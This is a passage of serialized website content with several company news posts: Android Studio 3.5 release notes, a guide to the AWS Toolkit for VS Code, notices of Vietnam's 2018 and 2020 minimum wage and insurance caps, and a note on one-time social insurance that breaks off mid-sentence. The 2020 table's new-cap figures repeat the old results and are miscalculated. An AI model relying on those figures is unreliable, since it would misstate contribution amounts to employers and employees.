areas.",[11,1555,1556,1560],{},[438,1557],{"className":1558,"alt":66,"src":1559,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103359\u002Fconstraint-relationships-3.5-1024x469.png",[473,1561],{},[438,1563],{"className":1564,"alt":66,"src":1565,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103500\u002FPicture1.png",[11,1567,1568],{},"Similarly, you can now delete a constraint by selecting it and pressing the Delete key. by holding the Control key (Command on macOS) and clicking on the constraint anchor. Note that when you hold the Control or Command key and hover over an anchor, any associated constraints turn red to indicate that you can click to delete them.",[438,1570],{"className":1571,"alt":66,"src":1572,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103600\u002FPicture2.png",[11,1574,1575,1576,1579,1580,212,1583,1586,1587,1589],{},"When a view is selected, you can create a constraint by clicking on any of the ",[20,1577,1578],{},"+"," icons in the ",[20,1581,1582],{},"Constraint",[20,1584,1585],{},"Widget"," section of the ",[20,1588,1552],{}," panel, as shown in the following image.",[438,1591],{"className":1592,"alt":66,"src":1593,"style":444},[441,442],"https:\u002F\u002Fbriswell-vn.com\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002Fconstraint-widget-3.5.gif",[11,1595,1596],{},"When creating a constraint, the Layout Editor now shows only the eligible anchor points to which you can constrain. Previously, the Layout Editor highlighted all anchor points on all views, regardless of whether you could constrain to them. In addition, a blue overlay now highlights the target of the constraint. This highlighting is particularly useful when attempting to constrain to a component that overlaps with another.",[438,1598],{"className":1599,"alt":66,"src":1600,"style":444},[441,442],"https:\u002F\u002Fbriswell-vn.com\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002Fconstraint-target-overlay-3.4.gif",[11,1602,1603],{},"Creating a constraint for an overlapping component in Android Studio 3.4.",[438,1605],{"className":1606,"alt":66,"src":1607,"style":444},[441,442],"https:\u002F\u002Fbriswell-vn.com\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002Fconstraint-target-overlay-3.5.gif",[11,1609,1610],{},"Creating a constraint for an overlapping component in Android Studio 3.5.",[565,1612,1614,1615],{"id":1613},"_6improved-support-for-cc-projects","6. ",[20,1616,1617],{},"Improved support for C\u002FC++ projects",[11,1619,1620],{},[20,1621,1622],{},"Build Variants panel improvements for single variant sync",[11,1624,1625,1626,1629],{},"You can now specify both the active build variant and active ABI in the ",[20,1627,1628],{},"Build Variants"," panel. This feature simplifies build configuration per module and can also improve Gradle sync performance.",[438,1631],{"className":1632,"alt":66,"src":1633,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103750\u002Fsingle-variant-ABI.png",[11,1635,1636],{},[20,1637,1638],{},"Side-by-side versions of the NDK",[11,1640,1641],{},"You can now use multiple versions of the NDK side-by-side. This feature gives you more flexibility when configuring your projects—for example, if you have projects that use different versions of the NDK on the same machine.",[11,1643,1644],{},"If your project uses Android Gradle plugin 3.5.0 or higher, you can also specify the version of the NDK that each module in your project should use. You can use this feature to create reproducible builds and to mitigate incompatibilities between NDK versions and the Android Gradle plugin.",[403,1646,1648],{"id":1647},"iii-known-issue",[20,1649,1650],{},"III. Known issue",[11,1652,1653,1654,1657],{},"When editing XML code, the IDE might apply an incorrect code style when you select ",[20,1655,1656],{},"Code > Reformat Code"," from the menu bar. To fix this issue, reset the appropriate Android code style as follows:",[31,1659,1660,1674,1680,1686],{},[34,1661,1662,1663,1665,1666,1669,1670,1673],{},"Open the ",[20,1664,1384],{}," window by clicking ",[20,1667,1668],{},"File > Settings"," (on macOS, ",[20,1671,1672],{},"Android Studio > Preferences",").",[34,1675,1676,1677,878],{},"In the left panel, click ",[20,1678,1679],{},"Editor > Code Style > XML",[34,1681,1682,1683,878],{},"Near the top-right corner of the right panel, select ",[20,1684,1685],{},"Set from > Predefined Style > Android",[34,1687,1688,1689,878],{},"Click ",[20,1690,1691],{},"OK",[1693,1694,1696],"h4",{"id":1695},"reference","Reference:",[203,1698,1699],{},[34,1700,1701],{},[55,1702,1703],{"href":1703,"rel":1704},"https:\u002F\u002Fdeveloper.android.com\u002Fstudio\u002Freleases",[59],{"title":66,"searchDepth":67,"depth":67,"links":1706},[1707,1714,1724],{"id":1350,"depth":67,"text":1353,"children":1708},[1709,1710,1712,1713],{"id":1356,"depth":1306,"text":1359},{"id":1408,"depth":1306,"text":1711},"2. Memory usage report",{"id":1430,"depth":1306,"text":1433},{"id":1444,"depth":1306,"text":1447},{"id":1453,"depth":67,"text":1456,"children":1715},[1716,1717,1718,1719,1720,1722],{"id":1459,"depth":1306,"text":1460},{"id":1493,"depth":1306,"text":1496},{"id":1506,"depth":1306,"text":1509},{"id":1515,"depth":1306,"text":1518},{"id":1538,"depth":1306,"text":1721},"5. Layout Editor",{"id":1613,"depth":1306,"text":1723},"6. Improved support for C\u002FC++ projects",{"id":1647,"depth":67,"text":1650},[1318,1319],"2019-09-27","Android Studio 3.5 focuses on improving three main areas of the IDE: system health, feature polish, and fixing bugs. I. New Function 1. Recommended memory settings By default, Android Studio has a maximum heap size of 1280MB. If you are working on a large project, or your system has a lot of RAM, you can improve performance by increasing the maximum heap size for Android Studio processes, such as the core IDE, Gradle daemon, and Kotlin daemon.",{},"\u002Fnews\u002Fandroid-studio-3-5-release-note-summary",{"title":1330,"description":1727},"news\u002Fandroid-studio-3-5-release-note-summary","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06102504\u002FScreen-Shot-2019-09-27-at-19.15.20.png","4v7HfxcOGealo-jqLwBEgRyvKVakTgi3KpodGW-VPj0",{"id":1735,"title":1736,"body":1737,"category":2118,"created by":70,"date":2119,"description":2120,"extension":72,"meta":2121,"navigation":74,"path":2122,"sections":76,"seo":2123,"stem":2124,"thumbnail":2125,"__hash__":2126},"content_en\u002Fnews\u002Faws-toolkit-for-visual-studio-code.md","AWS Toolkit for Visual Studio Code",{"type":8,"value":1738,"toc":2107},[1739,1743,1746,1749,1776,1782,1793,1798,1811,1817,1845,1851,1854,1859,1867,1873,1916,1922,1950,1956,1960,1970,1976,1981,1995,2046,2050,2058,2062],[565,1740,1742],{"id":1741},"aws-toolkit","AWS Toolkit",[11,1744,1745],{},"This extension makes it easier for developers to develop, debug locally, and deploy serverless applications that use Amazon Web Services (AWS).",[11,1747,1748],{},"You can use the AWS Toolkit for Visual Studio Code as follows:",[31,1750,1751,1759,1765],{},[34,1752,1753,1754,1673],{},"Develop serverless applications locally, and then deploy them to an AWS account (see ",[55,1755,1758],{"href":1756,"rel":1757},"https:\u002F\u002Fmarketplace.visualstudio.com\u002Fitems?itemName=AmazonWebServices.aws-toolkit-vscode#usage",[59],"Usage",[34,1760,1761,1762,1673],{},"Manage certain supported AWS resources in an AWS account (see ",[55,1763,1758],{"href":1756,"rel":1764},[59],[34,1766,1767,1768],{},"This includes:",[203,1769,1770,1773],{},[34,1771,1772],{},"Listing and deleting AWS CloudFormation stacks.",[34,1774,1775],{},"Listing and invoking AWS Lambda functions.",[565,1777,1779],{"id":1778},"required",[20,1780,1781],{},"Required",[203,1783,1784,1787,1790],{},[34,1785,1786],{},"An Amazon Web Services account.",[34,1788,1789],{},"A supported operating system – Windows, Linux, and macOS.",[34,1791,1792],{},"VS Code version 1.31.1 or later.",[11,1794,1795],{},[20,1796,1797],{},"(Optional)",[203,1799,1800,1808],{},[34,1801,1802,1803],{},"AWS SAM CLI – helps you develop, test, and analyze your serverless applications locally. This isn't required for installing the toolkit. However, we recommend that you install it (and Docker, described below) because it is required for any AWS Serverless Application Model (AWS SAM) functionality such as Creating a Serverless Application. See how to install AWS SAM CLI in ",[55,1804,1807],{"href":1805,"rel":1806},"https:\u002F\u002Fdocs.aws.amazon.com\u002Fserverless-application-model\u002Flatest\u002Fdeveloperguide\u002Fserverless-sam-cli-install.html",[59],"this link",[34,1809,1810],{},"Docker – required by the AWS SAM CLI.",[565,1812,1814],{"id":1813},"install",[20,1815,1816],{},"Install",[203,1818,1819,1835,1838],{},[34,1820,1821,1822,1825,1826,1831],{},"Open VScode and change to Extension tab in Activity bar. Search with keyword “AWS Toolkit for Visual Studio Code”. ",[20,1823,1824],{},"Note:"," You  can also install this toolkit from Vscode Website with this ",[55,1827,1830],{"href":1828,"rel":1829},"https:\u002F\u002Fmarketplace.visualstudio.com\u002Fitems?itemName=AmazonWebServices.aws-toolkit-vscode",[59],"link",[438,1832],{"className":1833,"alt":66,"src":1834,"style":471},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090446\u002Faws1.png",[34,1836,1837],{},"Choose Install.",[34,1839,1840,1841],{},"After if you're prompted to restart the editor, choose Reload Required. Success installation, in Activity bar had AWS icon.",[438,1842],{"className":1843,"alt":66,"src":1844,"style":444},[441,442],"https:\u002F\u002Fbriswell-vn.com\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002Faws2-1.png",[565,1846,1848],{"id":1847},"get-your-aws-access-keys",[20,1849,1850],{},"Get Your AWS Access Keys",[11,1852,1853],{},"Access keys are the credentials that identify you to AWS and enable you to programmatically access AWS services and resources. Access keys can be associated with your AWS account (the account's \"root user\") or with users that you create with AWS Identity and Access Management (IAM).",[11,1855,1856],{},[20,1857,1858],{},"Warning",[11,1860,1861,1862,878],{},"Because the root user is essentially an administrator with full access to services and resources, we recommend that you instead create an IAM user with only those permissions needed to perform the required tasks. Then, for your credentials, you can use an access key that is associated with that user. For details, see ",[55,1863,1866],{"href":1864,"rel":1865},"https:\u002F\u002Fdocs.aws.amazon.com\u002FIAM\u002Flatest\u002FUserGuide\u002Fid_users_create.html",[59],"this",[565,1868,1870],{"id":1869},"create-a-new-credential-profile",[20,1871,1872],{},"Create a new credential profile",[203,1874,1875,1878,1884,1895,1902,1909],{},[34,1876,1877],{},"Open VSCode.",[34,1879,1880,1881,1673],{},"Hold Ctrl + Shift + P (open ",[20,1882,1883],{},"Command Palette",[34,1885,1886,1887,878,1890],{},"Search and choose ",[20,1888,1889],{},"AWS: Create Credentials Profile",[438,1891],{"className":1892,"alt":66,"src":1893,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090640\u002Faws3.png","width: 80%;",[34,1896,1897,1898],{},"Enter profile name (ex: default).",[438,1899],{"className":1900,"alt":66,"src":1901,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090707\u002Faws4.png",[34,1903,1904,1905],{},"Enter access key id.",[438,1906],{"className":1907,"alt":66,"src":1908,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090736\u002Faws5.png",[34,1910,1911,1912],{},"Enter secret key.",[438,1913],{"className":1914,"alt":66,"src":1915,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090748\u002Faws6.png",[565,1917,1919],{"id":1918},"connect-to-aws-through-the-aws-toolkit-for-visual-studio-code",[20,1920,1921],{},"Connect to AWS through the AWS Toolkit for Visual Studio Code",[203,1923,1924,1927,1932,1942],{},[34,1925,1926],{},"Open VScode.",[34,1928,1929,1930,1673],{},"Hold Ctrl + Shift + P (mở ",[20,1931,1883],{},[34,1933,1934,1935,1938],{},"Search ",[20,1936,1937],{},"AWS: Connect to AWS.",[438,1939],{"className":1940,"alt":66,"src":1941,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090848\u002Faws7.png",[34,1943,1944,1945,1949],{},"Choose a profile from the list.",[438,1946],{"className":1947,"alt":66,"src":1948,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090913\u002Faws8.png"," \n",[11,1951,1952,1953,878],{},"If have a small alert popup in the right bottom corner, choose ",[20,1954,1955],{},"Yes",[438,1957],{"className":1958,"alt":66,"src":1959,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090935\u002Faws9.png",[203,1961,1963],{"start":1962},5,[34,1964,1965,1966],{},"Now, it had connected to AWS. You can choose your work region.\n",[438,1967],{"className":1968,"alt":66,"src":1969,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091018\u002Faws10.png",[565,1971,1973],{"id":1972},"run-sam-application-in-localhost",[20,1974,1975],{},"Run SAM Application in localhost",[11,1977,1978],{},[20,1979,1980],{},"Requirement:",[31,1982,1983,1986,1989,1992],{},[34,1984,1985],{},"An IAM user with Administration permission.",[34,1987,1988],{},"Installed and started Docker.",[34,1990,1991],{},"Installed AWS CLI and AWS SAM.",[34,1993,1994],{},"In AWS S3 created 1 bucket.",[203,1996,1997,2004,2011,2018,2025,2032,2039],{},[34,1998,1999,2000],{},"Choose Create new SAM Application.",[438,2001],{"className":2002,"alt":66,"src":2003,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091122\u002Fdebug1-1.png",[34,2005,2006,2007],{},"Choose language for a SAM application.",[438,2008],{"className":2009,"alt":66,"src":2010,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091146\u002Fdebug2-1.png",[34,2012,2013,2014],{},"Choose folder to save a new project.",[438,2015],{"className":2016,"alt":66,"src":2017,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091205\u002Fdebug3-1.png",[34,2019,2020,2021],{},"Input name for new project.",[438,2022],{"className":2023,"alt":66,"src":2024,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091220\u002Fdebug4.png",[34,2026,2027,2028],{},"This is a sample SAM project.",[438,2029],{"className":2030,"alt":66,"src":2031,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091250\u002Fdebug6.png",[34,2033,2034,2035],{},"In the localhost, open file app.js and then choose Run Locally to run SAM application.",[438,2036],{"className":2037,"alt":66,"src":2038,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091313\u002Fdebug7.png",[34,2040,2041,2042],{},"Then, return API result in tab Output of VScode.",[438,2043],{"className":2044,"alt":66,"src":2045,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091324\u002Fdebug8-1024x525.png",[565,2047,2049],{"id":2048},"debug-sam-application-in-the-localhost","Debug SAM Application in the localhost",[11,2051,2052,2053],{},"Choose Debug Locally and add debug point where you want to show information.\n",[438,2054],{"className":2055,"alt":66,"src":2056,"style":2057},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091348\u002Fdebug9-1024x312.png","width: 95%;",[565,2059,2061],{"id":2060},"deploy-sam-application-to-aws","Deploy SAM Application to AWS.",[203,2063,2064,2071,2078,2085,2092,2099],{},[34,2065,2066,2067],{},"Choose Deploy SAM Application.",[438,2068],{"className":2069,"alt":66,"src":2070,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091409\u002Fdeploy1.png",[34,2072,2073,2074],{},"Choose a SAM template deploy to AWS.",[438,2075],{"className":2076,"alt":66,"src":2077,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091445\u002Fdeploy2.png",[34,2079,2080,2081],{},"Choose AWS Region.",[438,2082],{"className":2083,"alt":66,"src":2084,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091457\u002Fdeploy3.png",[34,2086,2087,2088],{},"Enter bucket name in S3 (This bucket is requirement exist in S3).",[438,2089],{"className":2090,"alt":66,"src":2091,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091508\u002Fdeploy4.png",[34,2093,2094,2095],{},"Enter name for stack.",[438,2096],{"className":2097,"alt":66,"src":2098,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06094204\u002Fdeploy5.png",[34,2100,2101,2102,2103],{},"When success uploaded to AWS, in AWS Explorer will show new CloudFormation and Lambda function.","\n ",[438,2104],{"className":2105,"alt":66,"src":2106,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091542\u002Fdeploy6.png",{"title":66,"searchDepth":67,"depth":67,"links":2108},[2109,2110,2111,2112,2113,2114,2115,2116,2117],{"id":1741,"depth":1306,"text":1742},{"id":1778,"depth":1306,"text":1781},{"id":1813,"depth":1306,"text":1816},{"id":1847,"depth":1306,"text":1850},{"id":1869,"depth":1306,"text":1872},{"id":1918,"depth":1306,"text":1921},{"id":1972,"depth":1306,"text":1975},{"id":2048,"depth":1306,"text":2049},{"id":2060,"depth":1306,"text":2061},"teck talk","2019-09-20","AWS Toolkit This extension makes it easier for developers to develop, debug locally, and deploy serverless applications that use Amazon Web Services (AWS). You can use the AWS Toolkit for Visual Studio Code as follows: Develop serverless applications locally, and then deploy them to an AWS account (see Usage). Manage certain supported AWS resources in an AWS account (see Usage)",{},"\u002Fnews\u002Faws-toolkit-for-visual-studio-code",{"title":1736,"description":2120},"news\u002Faws-toolkit-for-visual-studio-code","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090408\u002Fawstoolkit_vscode-1.png","XB_XFUl4i7YsbkerL2pgH7X6n4jdCmy-wDJ5z3F51mc",{"id":2128,"title":2129,"body":2130,"category":69,"created by":70,"date":2244,"description":2245,"extension":72,"meta":2246,"navigation":74,"path":2247,"sections":76,"seo":2248,"stem":2249,"thumbnail":2250,"__hash__":2251},"content_en\u002Fnews\u002Fbao-hiem-thong-bao-dieu-chinh-muc-luong-co-so-tu-thang-07-2018.md","[INSURANCE] ANNOUNCEMENT OF GENERAL MINIMUM WAGE ADJUSTMENT STARTED FROM JULY 2018",{"type":8,"value":2131,"toc":2242},[2132,2135,2138],[11,2133,2134],{},"Pursuant to Decree No. 72\u002F2018\u002F ND-CP, from July 01, 2018, the General Minimum Wage (GMW) will be officially increased from VND 1,300,000\u002F month to VND 1,390,000\u002F month (increasing 90,000 VND \u002F month).",[11,2136,2137],{},"Accordingly, with the increased GMW, the cap for Social insurance, Health insurance and Maternity allowance (in addition to 6 months of benefit) is as follows:",[276,2139,2140,2154],{},[279,2141,2142],{},[282,2143,2144,2149],{},[285,2145,2146],{},[20,2147,2148],{},"The cap for social insurance, health insurance (old)",[285,2150,2151],{},[20,2152,2153],{},"The cap for social insurance, health insurance (new)",[301,2155,2156,2179,2202,2225],{},[282,2157,2158,2169],{},[306,2159,2160,2163,2165,2166,2168],{},[20,2161,2162],{},"1.300.000 x 20 = 26.000.000 VND",[473,2164],{},"The highest contribution level is 26.000.000 VND",[473,2167],{},"(as 20 times as the GMW)",[306,2170,2171,2174,2176,2177,2168],{},[20,2172,2173],{},"1.390.000 x 20 = 27.800.000 VND",[473,2175],{},"The highest contribution level is 27.800.000 VND",[473,2178],{},[282,2180,2181,2192],{},[306,2182,2183,2186,2188,2189,2191],{},[20,2184,2185],{},"The company",[473,2187],{},"Social Insurance (17.5%): 26.000.000 x 17.5% = 4.550.000 VND",[473,2190],{},"Health Insurance (3%): 26.000.000 x 3% = 780.000 VND",[306,2193,2194,2196,2198,2199,2201],{},[20,2195,2185],{},[473,2197],{},"Social Insurance (17.5%): 27.800.000 x 17.5% = 4.865.000 VND",[473,2200],{},"Health Insurance (3%): 27.800.000 x 3% = 834.000 VND",[282,2203,2204,2215],{},[306,2205,2206,2209,2211,2212,2214],{},[20,2207,2208],{},"Employee",[473,2210],{},"Social Insurance (8%): 26.000.000 x 8% = 2.080.000 VND",[473,2213],{},"Health Insurance (1.5%): 26.000.000 x 1.5% = 390.000 VND",[306,2216,2217,2219,2221,2222,2224],{},[20,2218,2208],{},[473,2220],{},"Social Insurance (8%): 27.800.000 x 8% = 2.224.000 VND",[473,2223],{},"Health Insurance (1.5%): 27.800.000 x 1.5% = 417.000 VND",[282,2226,2227,2235],{},[306,2228,2229,2232,2234],{},[20,2230,2231],{},"Maternity (supported for 2 months)",[473,2233],{},"1.300.000 x 2 = 2.600.000 VND",[306,2236,2237,2239,2241],{},[20,2238,2231],{},[473,2240],{},"1.390.000 x 2 = 2.780.000 VND",{"title":66,"searchDepth":67,"depth":67,"links":2243},[],"2018-07-17","Pursuant to Decree No. 72\u002F2018\u002F ND-CP, from July 01, 2018, the General Minimum Wage (GMW) will be officially increased from VND 1,300,000\u002F month to VND 1,390,000\u002F month (increasing 90,000 VND \u002F month). Accordingly, with the increased GMW, the cap for Social insurance, Health insurance and Maternity allowance (in addition to 6 months of benefit) is as follows: The cap for social insurance, health insurance (old)",{},"\u002Fnews\u002Fbao-hiem-thong-bao-dieu-chinh-muc-luong-co-so-tu-thang-07-2018",{"title":2129,"description":2245},"news\u002Fbao-hiem-thong-bao-dieu-chinh-muc-luong-co-so-tu-thang-07-2018","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2018\u002F07\u002F05095906\u002F17121703798_c3be57bae8_b.jpg","c1oyqys1yFfGAhsyHhSs_8SyQJCPeD_5n4TgWUk4-kM",{"id":2253,"title":2254,"body":2255,"category":69,"created by":70,"date":2364,"description":2365,"extension":72,"meta":2366,"navigation":74,"path":2367,"sections":76,"seo":2368,"stem":2369,"thumbnail":2370,"__hash__":2371},"content_en\u002Fnews\u002Fbao-hiem-thong-bao-dieu-chinh-muc-luong-co-so-tu-thang-07-2020.md","[INSURANCE] ANNOUNCEMENT OF GENERAL MINIMUM WAGE ADJUSTMENT STARTED FROM JULY 2020",{"type":8,"value":2256,"toc":2362},[2257,2260,2262],[11,2258,2259],{},"Pursuant to Resolution No. 86\u002F2019\u002F QH14, from July 01, 2020, the General Minimum Wage (GMW) will be officially increased from VND 1,490,000\u002F month to VND 1,600,000\u002F month (increasing 110,000 VND \u002F month).",[11,2261,2137],{},[276,2263,2264,2276],{},[279,2265,2266],{},[282,2267,2268,2272],{},[285,2269,2270],{},[20,2271,2148],{},[285,2273,2274],{},[20,2275,2153],{},[301,2277,2278,2300,2323,2346],{},[282,2279,2280,2290],{},[306,2281,2282,2285,2287,2288,2168],{},[20,2283,2284],{},"1.490.000 x 20 = 29.800.000 VND",[473,2286],{},"The highest contribution level is 29.800.000 VND",[473,2289],{},[306,2291,2292,2295,2297,2298,2168],{},[20,2293,2294],{},"1.600.000 x 20 = 32.000.000 VND",[473,2296],{},"The highest contribution level is 32.000.000 VND",[473,2299],{},[282,2301,2302,2313],{},[306,2303,2304,2307,2309,2310,2312],{},[20,2305,2306],{},"The company:",[473,2308],{},"Social Insurance (17.5%): 29.800.000 x 17.5% = 5.215.000 VND",[473,2311],{},"Health Insurance (3%): 29.800.000 x 3% = 894.000 VND",[306,2314,2315,2317,2319,2320,2322],{},[20,2316,2306],{},[473,2318],{},"Social Insurance (17.5%): 32.000.000 x 17.5% = 5.215.000 VND",[473,2321],{},"Health Insurance (3%): 32.000.000 x 3% = 894.000 VND",[282,2324,2325,2336],{},[306,2326,2327,2330,2332,2333,2335],{},[20,2328,2329],{},"Employee:",[473,2331],{},"Social Insurance (8%): 29.800.000 x 8% = 2.384.000 VND",[473,2334],{},"Health Insurance (1.5%): 29.800.000 x 1.5% = 447.000 VND",[306,2337,2338,2340,2342,2343,2345],{},[20,2339,2329],{},[473,2341],{},"Social Insurance (8%): 32.000.000 x 8% = 2.384.000 VND",[473,2344],{},"Health Insurance (1.5%): 32.000.000 x 1.5% = 447.000 VND",[282,2347,2348,2355],{},[306,2349,2350,2352,2354],{},[20,2351,2231],{},[473,2353],{},"1.490.000 x 2 = 2.980.000 VND",[306,2356,2357,2359,2361],{},[20,2358,2231],{},[473,2360],{},"1.600.000 x 2 = 3.200.000 VND",{"title":66,"searchDepth":67,"depth":67,"links":2363},[],"2020-01-15","Pursuant to Resolution No. 86\u002F2019\u002F QH14, from July 01, 2020, the General Minimum Wage (GMW) will be officially increased from VND 1,490,000\u002F month to VND 1,600,000\u002F month (increasing 110,000 VND \u002F month). Accordingly, with the increased GMW, the cap for Social insurance, Health insurance and Maternity allowance (in addition to 6 months of benefit) is as follows: The cap for social insurance, health insurance (old)",{},"\u002Fnews\u002Fbao-hiem-thong-bao-dieu-chinh-muc-luong-co-so-tu-thang-07-2020",{"title":2254,"description":2365},"news\u002Fbao-hiem-thong-bao-dieu-chinh-muc-luong-co-so-tu-thang-07-2020","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F05080300\u002Fluong_co_so.png","ubOp_oHERiT9eEFd0ypnB_qaehijfH-YZFxHq6_7XXM",{"id":2373,"title":2374,"body":2375,"category":69,"created by":70,"date":2441,"description":2442,"extension":72,"meta":2443,"navigation":74,"path":2444,"sections":76,"seo":2445,"stem":2446,"thumbnail":2447,"__hash__":2448},"content_en\u002Fnews\u002Fbao-hiem-xa-hoi-mot-lan-nguoi-lao-dong-co-the-nhan-nhieu-lan-khong.md","ONE-TIME SOCIAL INSURANCE: CAN EMPLOYEES RECEIVE MULTIPLE TIMES?",{"type":8,"value":2376,"toc":2439},[2377,2380,2383,2386,2389,2392,2406,2409,2412,2416],[11,2378,2379],{},"Currently, the Covid-19 pandemic has negatively impacted the whole society, including the mass loss of jobs. When the stable monthly income source was lost, many people chose to receive the one-time social insurance benefit.",[11,2381,2382],{},"So, in case the employees quit their job and enjoy the one-time social insurance benefit, when they join a new company and pay social insurance from zero, will the employee still receive the social insurance allowance again?",[11,2384,2385],{},"According to Clause 1, Article 1 of Resolution 93\u002F2015\u002FQH13, stipulating the implementation of the policy of enjoying one-time social insurance for employees as follows:",[11,2387,2388],{},"“One year after leaving their jobs, for employees participating in compulsory social insurance, or after stopping to make social insurance contributions, for persons participating in voluntary social insurance, employees participating in compulsory social insurance and persons participating in voluntary social insurance whose social insurance payment period is less than 20 years will be entitled to receive one-time social insurance benefits if they so request.”",[11,2390,2391],{},"In addition, according to Clause 1, Article 8 of Decree No. 115\u002F2015\u002FND-CP stipulating that an employee who makes a request is entitled to a one-time social insurance allowance in one of the following cases:",[31,2393,2394,2397,2400,2403],{},[34,2395,2396],{},"He\u002Fshe reaches the statutory retirement age specified Clauses 1, 2 and 4 Article 54 of the Law on Social insurance but has paid social insurance for under 20 years or he\u002Fshe reaches the statutory retirement age specified Clause 3 Article 54 of the Law on Social insurance but has paid social insurance for under 15 years and does not continue paying voluntary social insurance;",[34,2398,2399],{},"He\u002Fshe has not paid social insurance for under 20 years and does not continue paying social  insurance after 1-year work ceasing;",[34,2401,2402],{},"He\u002Fshe settles abroad;",[34,2404,2405],{},"He\u002Fshe suffers a fatal disease, such as cancer, poliomyelitis, dropsy cirrhosis, leprosy, serious tuberculosis, HIV infection progressing into AIDS, or other diseases as prescribed by the Ministry of Health.",[11,2407,2408],{},"Thus, at present, the law does not specify the number of one-time social insurance withdrawals when eligible for benefits. Therefore, if the employee has fully met the conditions as prescribed by the law above, he\u002Fshe can withdraw the social insurance once at any time.",[11,2410,2411],{},"However, receiving one-time social insurance will bring many disadvantages to employees, because of immediate benefits, employees will miss the opportunity to enjoy a pension to cover their lives, as well as enjoy a health insurance scheme to take care of their health in old 